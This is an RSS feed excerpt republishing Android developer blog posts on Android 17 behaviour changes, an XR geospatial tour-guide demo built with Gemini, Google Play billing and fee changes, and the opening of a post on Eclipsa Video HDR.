  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a Mixed-Reality Tour Guide with Android XR, the Geospatial API, and Gemini]]></title>
<description><![CDATA[Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XRAt this year's Google I/O, we announced an update for spatial experiences: the Geospatial API is now available as a preview in ARCore for Jetpack XR. By bringing Google's Visual Positioning Sy...]]></description>
<link>https://tsecurity.de/de/3693504/android-tipps/building-a-mixed-reality-tour-guide-with-android-xr-the-geospatial-api-and-gemini/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693504/android-tipps/building-a-mixed-reality-tour-guide-with-android-xr-the-geospatial-api-and-gemini/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:35 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKrortZT9X64_5gun79eaNo1niWelmj6Mixfrw4eBLKkec02_w-el6vVXR8IuyPA40B4lB22yEdCK5KNVOZ3DwG3sja7MJArx60irN7gP9P7rnzMjx8sejJeE6puifztBfMv_mExAuAjKkE3rjW1PRulfU0wTfIVLtmb9lEUW4L9hhFme1ArGmV09GuXM/s320/MM%20Android%20XR%20Geospatial%20V02_Meta%20(1).png"><div><i>Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XR</i></div><div><i><br></i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTa2M7znb9EjsONU5iM1tvB_KPswY-yT7pqYZ2gZmJGk9Z6WONXgDOsTj9vvTPD8a38-XvPm7HafuF1-nChC7dix2CQfnTpH6T-YdPhaL85A7rRugnlwwtPtwH-Z5WWSFVNYXCclOOL5DtNbNqRLX-ZJVAIrRDxYs8pgfWS0O0O2P_e-W6TjYH_RjnCuM/s8000/MM%20Android%20XR%20Geospatial%20V02_Blog.png"><img border="0" data-original-height="2442" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTa2M7znb9EjsONU5iM1tvB_KPswY-yT7pqYZ2gZmJGk9Z6WONXgDOsTj9vvTPD8a38-XvPm7HafuF1-nChC7dix2CQfnTpH6T-YdPhaL85A7rRugnlwwtPtwH-Z5WWSFVNYXCclOOL5DtNbNqRLX-ZJVAIrRDxYs8pgfWS0O0O2P_e-W6TjYH_RjnCuM/s16000/MM%20Android%20XR%20Geospatial%20V02_Blog.png"></a></div><br><div><br><br><i><br></i><div><i><br></i><p><a href="https://www.youtube.com/watch?v=1KOO2lqsdaA">At this year's Google I/O</a>, we announced an update for spatial experiences: the <a href="https://developer.android.com/reference/kotlin/androidx/xr/arcore/Geospatial">Geospatial API</a> is now available as a preview in <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk/arcore">ARCore for Jetpack XR</a>. By bringing Google's Visual Positioning System (VPS) to Android XR, Android XR enables anchoring digital content to the physical world with sub-meter accuracy and precise orientation in supported areas.* To explore what the Geospatial API could unlock, our team built a demo: the XR Geospatial Tour.</p>

<p>Imagine walking into a new city, putting on a pair of wired XR glasses (like the upcoming XREAL Project Aura), and instantly having a knowledgeable, local guide showing you around. You don't need to stare down at a 2D map—instead, 3D models gently guide your path, and an intelligent voice tells you about the historical landmarks right in front of you. We combined the <a href="https://developer.android.com/reference/kotlin/androidx/xr/arcore/Geospatial">Geospatial APIs</a>, <a href="https://firebase.google.com/docs/ai-logic">Gemini API using Firebase AI Logic</a>, <a href="https://ai.google.dev/gemini-api/docs/maps-grounding">Google Maps Grounding</a>, and <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk">Jetpack XR SDK</a> to create a hands-free, immersive walking tour experience.</p>

<div class="separator">
  
<p>*Disclaimer: Video and Tour Guide application are for demonstration purposes only. Some sequences have been shortened. Any hardware depicted may be under development; final product details may differ.</p>

<p>Let’s walk through the implementation details and show how we tied these APIs together to build a world-scale spatial experience.</p>

<h3>1. Pinpointing the User with ARCore Geospatial API (VPS)</h3>
<p>Enhance your navigation experience on XR by combining the power of GPS with the precision of VPS. The accuracy and precise orientation that comes with VPS allows 3D waypoints to align with the physical world.</p>

<p>This is why the Geospatial API on Android XR can help you build custom experiences. By using advanced computer vision, VPS tries to provide a <a href="https://developer.android.com/reference/kotlin/androidx/xr/runtime/math/GeospatialPose">GeospatialPose</a> (including latitude, longitude, and heading) that is more accurate than GPS.</p>

<p>Here's how we retrieve the user's Geospatial pose by mapping the device's orientation to a Geospatial coordinate:</p>
<pre><div>// Retrieve the current geospatial pose from the ARCore session</div><code><div>val result = geospatial.createGeospatialPoseFromPose(arDevice.state.value.devicePose)</div><div>if (result is CreateGeospatialPoseFromPoseSuccess) {</div><div>    val pose = result.pose</div><div>    Log.d("VPS", "Accurate Location: ${pose.latitude}, ${pose.longitude}")</div><div>}</div></code></pre>

<p>Because the entire experience relies on this accuracy, we monitor the horizontalAccuracy and orientationYawAccuracy until they meet our thresholds. If the user is indoors or in an unrecognized area, we prompt them to "walk to an outdoor public space and look around".</p>

<h3>2. Crafting the Itinerary with Gemini API &amp; Google Maps Grounding</h3>
<p>Once we have a location, we use the <a href="https://firebase.google.com/docs/ai-logic">Gemini API using Firebase AI Logic</a> to prompt the Gemini model to act as a local tour guide. We pass the user's coordinates to the model and ask it to output a structured JSON response containing nearby walking tours:</p>

<pre><div>   val configForTools = ToolConfig(</div><code><div>      functionCallingConfig = null,</div><div>      retrievalConfig = retrievalConfig {</div><div>        latLng = FirebaseLatLng(pose.latitude, pose.longitude)</div><div>        languageCode = "en"</div><div>      }</div><div>    )</div><div></div><div>    val responseJsonSchema = Schema.obj(</div><div>      mapOf(</div><div>        "locationIntro" to Schema.string(),</div><div>        "tours" to Schema.array(</div><div>          Schema.obj(</div><div>            mapOf(</div><div>              "title" to Schema.string(),</div><div>              "description" to Schema.string(),</div><div>              "stops" to Schema.array(</div><div>                Schema.obj(</div><div>                  mapOf(</div><div>                    "name" to Schema.string(),</div><div>                    "detailedName" to Schema.string(),</div><div>                    "description" to Schema.string()</div><div>                  )</div><div>                )</div><div>              )</div><div>            )</div><div>          )</div><div>        )</div><div>      )</div><div>    )</div><div></div><div>    val model = Firebase.ai(backend = GenerativeBackend.googleAI()).generativeModel(</div><div>      modelName = "gemini-3.5-flash",</div><div>      tools = listOf(Tool.googleMaps()),</div><div>      generationConfig = generationConfig {</div><div>        responseMimeType = "application/json"</div><div>        responseSchema = responseJsonSchema</div><div>      }</div><div>    )</div><div></div><div>   val result = model.generateContent("The user is at latitude ${pose.latitude} and longitude ${pose.longitude}. Generate exactly 3 diverse tours near this location (e.g., historical, food, nature). All tour ideas should be walking distance only.")</div></code></pre>

<p>Large Language Models are great at generating rich descriptions, but they can sometimes hallucinate exact latitude/longitude coordinates. To solve this, we used <a href="https://ai.google.dev/gemini-api/docs/maps-grounding">Google Maps Grounding</a> to ground the AI.</p>

<h3>3. A Voice to Guide You: Gemini 2.5 TTS</h3>
<p>To make the tour guide feel truly present, we implemented dynamic voiceovers.</p>

<p>Using the gemini-2.5-flash-tts model, we can configure our model generation config to natively return audio data instead of just text! Here’s how you can request the ResponseModality.AUDIO:</p>

<pre><div>val ttsModel = Firebase.ai(backend = GenerativeBackend.googleAI())</div><code><div>    .generativeModel(</div><div>        modelName = "gemini-2.5-flash-tts",</div><div>        generationConfig = generationConfig {</div><div>            // Instruct the model to return Audio</div><div>            responseModalities = listOf(ResponseModality.AUDIO)</div><div>        }</div><div>    )</div><div></div><div>val response = ttsModel.generateContent("Say in a neutral but positive voice:\n$prompt")</div><div></div><div>// Extract the raw audio bytes from the response</div><div>val audioBytes = response.candidates.firstOrNull()?.content?.parts</div><div>    ?.filterIsInstance&lt;InlineDataPart&gt;()</div><div>    ?.firstOrNull { it.mimeType.contains("audio") }?.inlineData</div></code></pre>

<h3>4. Bringing it to Life in 3D with Jetpack XR</h3>
<p>The final piece of the puzzle is rendering this data in the user's field of view. The Jetpack XR SDK makes it intuitive to transition from  a 2D Android UI to spatial computing.</p>

<p>We used Jetpack Compose for XR to build spatial components. To represent points of interest along the tour, we built a Composable called InfoSphere, which contains a GltfModel of a 3D orb that floats in space and can be interacted with to reveal information.</p>

<p>Using Jetpack XR SDK, we can place 3D models alongside the Compose UI using <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/SpatialBox.composable">SpatialBox</a> and <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/SceneCoreEntity.composable">SceneCoreEntity</a>. We also used <a href="https://developer.android.com/reference/androidx/xr/scenecore/InteractableComponent">InteractableComponent</a> to respond to user taps.</p>
<pre><div>@Composable</div><code><div>fun InfoSphere(</div><div>    content: InfoBubbleContent,</div><div>    session: Session,</div><div>    sphereModel: GltfModel,</div><div>    isSelected: Boolean,</div><div>    onClick: () -&gt; Unit</div><div>) {</div><div>    // SpatialBox lets us arrange 3D components and SpatialPanels together</div><div>    SpatialBox(</div><div>        SubspaceModifier</div><div>            .offset(x = 2.dp, y = 1.dp, z = (-3).dp) // Positioned in 3D space</div><div>    ) {</div><div>        // Smoothly animate the visibility of our 2D Compose UI Panel</div><div>        AnimatedSpatialVisibility(visible = isSelected) {</div><div>            SpatialPanel {</div><div>                InfoBubble(content) // Regular 2D Compose UI</div><div>            }</div><div>        }</div><div>        // Render our interactive 3D sphere</div><div>        SceneCoreEntity(</div><div>            factory = {</div><div>                GltfModelEntity.create(session, sphereModel).also { entity -&gt;</div><div>                    // Make the 3D model respond to user taps</div><div>                    entity.addComponent(InteractableComponent.create(session) { inputEvent -&gt;</div><div>                        if (inputEvent.action == InputEvent.Action.UP) {</div><div>                            onClick()</div><div>                        }</div><div>                    })</div><div>                }</div><div>            }</div><div>        )</div><div>    }</div><div>}</div></code></pre>

<p>By combining <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/animation/AnimatedSpatialVisibility.composable">AnimatedSpatialVisibility</a> for traditional Compose UI surfaces with SceneCoreEntity 3D elements, we're able to seamlessly blend data into the physical world.</p>

<h3>Explore what’s possible with Android XR today</h3>
<p>Building the XR Geospatial Tour app showed us that the barrier to entry for world-scale spatial experiences is lower than ever for Android developers. With the Geospatial API now available in preview on Android XR, your apps can seamlessly understand the physical world around them. By combining <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk/ui-compose">Compose for XR</a>’s APIs with the high-precision location data of VPS and the generative capabilities of Gemini, we can create experiences that understand both where the user is and what they are looking at.</p>

<p>To help you get hands-on with Android XR, we are thrilled to open applications for the <a href="https://developer.android.com/develop/xr/catalyst">Android XR Developer Catalyst Program</a>, which includes XREAL Project Aura. Starting today, you can apply to get access to an XREAL Project Aura devkit or our display glasses devkit over the coming months! </p>

<footer>
  <p>*Disclaimer: Available on select devices. Internet connection required. Works on compatible apps and surfaces. Results may vary.</p>
  <p><br></p>
</footer></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Expanded billing choice and lower fees on Google Play]]></title>
<description><![CDATA[Posted by Paul Feng, Vice President, Google Play Eng, Product, UX

At Google Play, we are committed to delivering the best possible experience to users, while ensuring developers have the tools and adaptability to succeed. Guided by this commitment, earlier this year we announced updates to our b...]]></description>
<link>https://tsecurity.de/de/3693502/android-tipps/expanded-billing-choice-and-lower-fees-on-google-play/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693502/android-tipps/expanded-billing-choice-and-lower-fees-on-google-play/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:32 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUB5FJxvJIARbdD14jKJu4Jg0uzjczgDxybt5NlviqF_vL91B0GzqNHTcURyCT1nUJgc22LmhvXBk_E2UOXvLqXN_dZfs0YrlbMrl3ZJ_CYcn4W4qoTUhU5k0Y8DhoXltMRMUGQN7uzj6pH4qV1dtRCR6tAKpjmH3Ys_94xqHgR6SfHMpAplFgz8ClGG8/s8533/Apps%20Experience_Play%20Blog%20MetadataCard__2048x1323.jpg"><p></p><p><i>Posted by Paul Feng, Vice President, Google Play Eng, Product, UX</i></p><p></p>

<p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0NArBxSwBOPGYLZKJ4BxhB3rjkTq6RrZ6XBJk2e57TVQ_mSCJ1nw5JAegk0dmX-MEW0ArHvvr2pX8zdXKuJjIXsTgDx7i9W-EoRtS0rHLeGPjMnOvryY2f02czLEBxANuCYYa9ryEr46_6xJ9PQNkHL1MWh-hEHwZAbCGYj-JcdCunZGva5WpFFHCtYA/s4210/Blogger%20Header%20asset%20-%204209%20x%201253%20px.jpg"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0NArBxSwBOPGYLZKJ4BxhB3rjkTq6RrZ6XBJk2e57TVQ_mSCJ1nw5JAegk0dmX-MEW0ArHvvr2pX8zdXKuJjIXsTgDx7i9W-EoRtS0rHLeGPjMnOvryY2f02czLEBxANuCYYa9ryEr46_6xJ9PQNkHL1MWh-hEHwZAbCGYj-JcdCunZGva5WpFFHCtYA/s16000/Blogger%20Header%20asset%20-%204209%20x%201253%20px.jpg"></a></div><br><br>At Google Play, we are committed to delivering the best possible experience to users, while ensuring developers have the tools and adaptability to succeed. Guided by this commitment, <a href="https://android-developers.googleblog.com/2026/03/a-new-era-for-choice-and-openness.html">earlier this year</a> we announced updates to our business model introducing more billing flexibility, lower fees, and new programs to help your business thrive. <br><br>With some of these changes rolling out soon, the breakdown below outlines what is coming, where to find more information, key dates, and how to get started.

<h2>More billing flexibility</h2>

Google Play’s billing system safely, efficiently, and intuitively handles the complexities of taxes, compliance, and subscriptions across 195+ markets with 300+ local payment methods. However, we understand there are situations where your business needs more flexibility, and that's why we're offering you more options in how you handle digital commerce.<p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLIK5NuRI6Rf-N_scGYqy-xAMyFOrJRo-nJOjqBYQW3Fizevf5Mk3mKnNRlJWdEWKKQ3oM_whpPuVOABM9Nf8bZwkfGQ_12p4mgQDvO40ornXa_1OxyP_4okmNfbcOyXdq47nx7o11Q_D7BRe5nRBGt2tNWFhe_eAEIgFC-kFdZH8K8j0gfeWZUAuS1Y/s8000/MM6_Offer%20alt%20billing.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLIK5NuRI6Rf-N_scGYqy-xAMyFOrJRo-nJOjqBYQW3Fizevf5Mk3mKnNRlJWdEWKKQ3oM_whpPuVOABM9Nf8bZwkfGQ_12p4mgQDvO40ornXa_1OxyP_4okmNfbcOyXdq47nx7o11Q_D7BRe5nRBGt2tNWFhe_eAEIgFC-kFdZH8K8j0gfeWZUAuS1Y/s16000/MM6_Offer%20alt%20billing.jpg"></a></div><br><p></p>

<br><br>Building from existing programs, the new billing choice program is available to all developers globally who provide digital services or content to users within the United Kingdom and the European Economic Area, alongside programs in the United States. Following this initial phase, we will continue expanding availability to additional markets. You will find the global release schedule at the bottom of this post.<br><br>Through these programs, developers can offer an alternative billing system or link users to their own website for purchases, alongside Google Play’s billing. You may also design your own choice screen in accordance with our UX guidelines, as an alternative to Google Play’s default version.<br><br>Please find all the details in the <a href="https://support.google.com/googleplay/android-developer/answer/17161464">program page here</a>.

<h2>Lower, separate fees</h2>To enable this new level of flexibility, we're separating our service fee from the billing fee. This starts on June 30, 2026, beginning with the United States, European Economic Area, and United Kingdom.<br><br>Regardless of whether you use Google Play's billing system, alternative billing, or external web links, the service fee starts at 10% on your first $1M (USD) in annual earnings. This 10% service fee also applies to all auto-renewing subscriptions. For all other transactions, the rates in the table below applies:<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaTaAgjv7m9xtS4DS25hgDQ6oMIQWBw-GQ0bDMv4D_J-W5r7njfSvs7EnSwnJNIZ9oOIqW0w8KqoA4tTOQ2kC_l4K1YsrGt9Dp-4PFKBJGoACzfZPCjE2KBB0PGBjpaWBCguanfdhd-86iPZ3nDL_tZsk-lSYINiyQAreP8HKzBuShqq0BepijI3X6LT0/s8000/MM6%20rate%20card%20without%20border.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaTaAgjv7m9xtS4DS25hgDQ6oMIQWBw-GQ0bDMv4D_J-W5r7njfSvs7EnSwnJNIZ9oOIqW0w8KqoA4tTOQ2kC_l4K1YsrGt9Dp-4PFKBJGoACzfZPCjE2KBB0PGBjpaWBCguanfdhd-86iPZ3nDL_tZsk-lSYINiyQAreP8HKzBuShqq0BepijI3X6LT0/s16000/MM6%20rate%20card%20without%20border.jpg"></a></div><p></p><br><br><p><br></p>

For other transactions, the service fee will be determined by whether the transacting user's install is new or existing relative to the regional rollout date:<div> 

<ul>
  <li><b>New installs</b>: A transaction from a user whose first-time install or first update of the app from Google Play occurred on or after the date that the new fee structure launched in their region.</li>
  <li><b>Existing installs</b>: A transaction from a user whose first-time install or first update of the app from Google Play occurred before the date that the new fee structure launches in their market.</li></ul><div><br></div>For transactions that use Google Play’s billing system, an additional billing fee applies. In the United States, United Kingdom, and the European Economic Area, the billing fee is set at 5%. We'll announce billing fee details for other markets soon. For transactions processed via alternative billing or external web links, the billing fee does not apply. <br><br>Review<a href="https://support.google.com/googleplay/android-developer/answer/16954621?hl=en"> this Help Center article</a> to understand how these rates apply to your business.

<h2>Games Level Up and Apps Experience program guidelines</h2>We are also excited to announce even more opportunities for partners who deliver exceptional user experiences across the Android ecosystem: the revamped <a href="https://play.google.com/console/about/levelup/">Games Level Up</a> and the new <a href="https://play.google.com/console/about/programs/appsexperience/">Apps Experience</a> program. Detailed guidelines are now available on the respective program websites.<br><br>Apps and games that meet all requirements are eligible for a new program rate card with reduced rates. See the table below for details:<p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6Zf6OFaB1B8MD7DeLJ-znJQUcA3ozQYDUEKzxiJb-32f_zk8bn6Cyi-WbwDPND0osW6FmmaUlfi1ji25thN3kZYXb747mD_KaE6pUf3faA5blqHNFH7qRlp0aNgVvS-bNNLg8L3QTizxXOU0mmblc8RyapiRanHcdocW92FchSLuJnw1HUSYbY2oJfNI/s8000/MM6%20rate%20card%20with%20border.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6Zf6OFaB1B8MD7DeLJ-znJQUcA3ozQYDUEKzxiJb-32f_zk8bn6Cyi-WbwDPND0osW6FmmaUlfi1ji25thN3kZYXb747mD_KaE6pUf3faA5blqHNFH7qRlp0aNgVvS-bNNLg8L3QTizxXOU0mmblc8RyapiRanHcdocW92FchSLuJnw1HUSYbY2oJfNI/s16000/MM6%20rate%20card%20with%20border.jpg"></a></div><br><p></p>

Visit the <a href="https://play.google.com/console/about/levelup/">Games Level Up</a> and <a href="https://play.google.com/console/about/programs/appsexperience/">Apps Experience</a> program websites, review the guidelines, and start preparing your games and apps ahead of September 30, 2026, when the program rate cards officially become available.

<h2>Global release schedule</h2>

Evolving our business model requires technical infrastructure and alignment with local regulations, so these updates will roll out on a staggered timeline. To help you plan, here is the previously announced release schedule for each update across all markets:<p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIGtrW01aFRzy0gj7_mHMrJ1TrWHkan3S0aF7HmjhM3QGdpkb9xjJudKp02b6i3jGGjRyE7PYGVPwxIhrM4CdLs_A-P70ugCns-G5x05x3PnAqD7VweBHg7-06bUl4T98OPuGpEXjrAjbwMObraQn8K3uCnr3tr505Os8Keu3H_i4wbWaZNoixFv6_vYw/s8000/MM6%20Release%20Schedule.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIGtrW01aFRzy0gj7_mHMrJ1TrWHkan3S0aF7HmjhM3QGdpkb9xjJudKp02b6i3jGGjRyE7PYGVPwxIhrM4CdLs_A-P70ugCns-G5x05x3PnAqD7VweBHg7-06bUl4T98OPuGpEXjrAjbwMObraQn8K3uCnr3tr505Os8Keu3H_i4wbWaZNoixFv6_vYw/s16000/MM6%20Release%20Schedule.jpg"></a></div><br><p></p>

<p>Here is a quick recap of the resources available to help you get started:</p>

<ul>
  <li>Review the <a href="https://support.google.com/googleplay/android-developer/answer/17161464"><b>billing choice program</b></a>;</li>
  <li>Learn more about <a href="https://support.google.com/googleplay/android-developer/answer/16954621?hl=en"><b>Google Play's lower service fees</b></a>;</li>
  <li>Explore detailed guidelines on the <a href="https://play.google.com/console/about/levelup/"><b>Games Level Up</b></a> and <a href="https://play.google.com/console/about/programs/appsexperience/"><b>Apps Experience</b></a> program websites.</li>
</ul>

<p>We look forward to building the next generation of Google Play experiences together.</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Eclipsa Video: HDR That Looks Right on Every Screen]]></title>
<description><![CDATA[Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics
We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squ...]]></description>
<link>https://tsecurity.de/de/3693501/android-tipps/eclipsa-video-hdr-that-looks-right-on-every-screen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693501/android-tipps/eclipsa-video-hdr-that-looks-right-on-every-screen/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:30 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGg9E8BsBcgigJ3Pwhp0Wbd85wffhQKw9jT9eW4_IJHtJsxtaqBqZoWIc4agLIZu9h2eWFEnMgipcv2PnMM2UC9tsZOJp3AMjsOX1KQRoisg5IKTRS20hFOIvJmlViYFz-QOh3-KdyFRIgUaiKs2ehjrJBd9W_yW13aP4xgRQovNCEAviajCLWFTTVrjs/s2469/Eclipsa%20Video%20V01%20White_Meta.png"><div><i>Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0slfG8CUVGmPiAUHIXkeIVZGveJMOvf1TorUdONiRYV1THM80OzIIjGV5-bOboEhNz7FB4sTYx72ySEjFhQ4oW97-sLZ4scOX2Sb5BBU9qPMvOXvq2XRj098K7ElBnvy4k68jKELpDZ7vd4NIs2Hud2w14re18dOx7dksdFXRBR_Nd8yOiBrw8cLr_kM/s8583/Eclipsa%20Video%20V02_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0slfG8CUVGmPiAUHIXkeIVZGveJMOvf1TorUdONiRYV1THM80OzIIjGV5-bOboEhNz7FB4sTYx72ySEjFhQ4oW97-sLZ4scOX2Sb5BBU9qPMvOXvq2XRj098K7ElBnvy4k68jKELpDZ7vd4NIs2Hud2w14re18dOx7dksdFXRBR_Nd8yOiBrw8cLr_kM/s1600/Eclipsa%20Video%20V02_Blog.png"></a></div><br><p><br></p>
<p>We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squint, or maybe you find yourself turning down your screen brightness just to read the caption. Other times, a video that looks vibrant on your phone looks flat, dark, or washed out when you watch it on your living room TV. </p><p>While High Dynamic Range (HDR) technology was designed to make videos look richer and more lifelike, the lack of unified industry guidelines means that the exact same clip can render in unexpected and jarring ways depending on the display you’re using.</p>

<p>To solve this, we’re introducing Eclipsa Video—a new standard built to make your favorite videos look consistent, balanced, and comfortable on every screen. Eclipsa Video builds on the open <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a>, which Google developed in collaboration with Apple and NBCUniversal.</p><br><p></p><i><div><i><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLDY0gLjHQYTZZfRzikfPu8P3jZkXhq6Wqo1GFj3CvBh9YaboIDUstPcnV94Qan8nVkXXBlXLm5vSktLM_q9DJIIn_jyeW9LyZchI5Fpm6AD7A5XD3ZRslzBFhJLAvRj589ukW0etBNCg7004SjySw_SYsGkg6dQ8AtgfofOZeFTx8R3H7xWfwAuA-Rqc/s1066/Eclipsa_9-16_Transparent%20(2).gif"><img border="0" data-original-height="1066" data-original-width="600" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLDY0gLjHQYTZZfRzikfPu8P3jZkXhq6Wqo1GFj3CvBh9YaboIDUstPcnV94Qan8nVkXXBlXLm5vSktLM_q9DJIIn_jyeW9LyZchI5Fpm6AD7A5XD3ZRslzBFhJLAvRj589ukW0etBNCg7004SjySw_SYsGkg6dQ8AtgfofOZeFTx8R3H7xWfwAuA-Rqc/w225-h400/Eclipsa_9-16_Transparent%20(2).gif" width="225"></a></div>Sudden brightness spikes during feed scrolling—fixed with Eclipsa 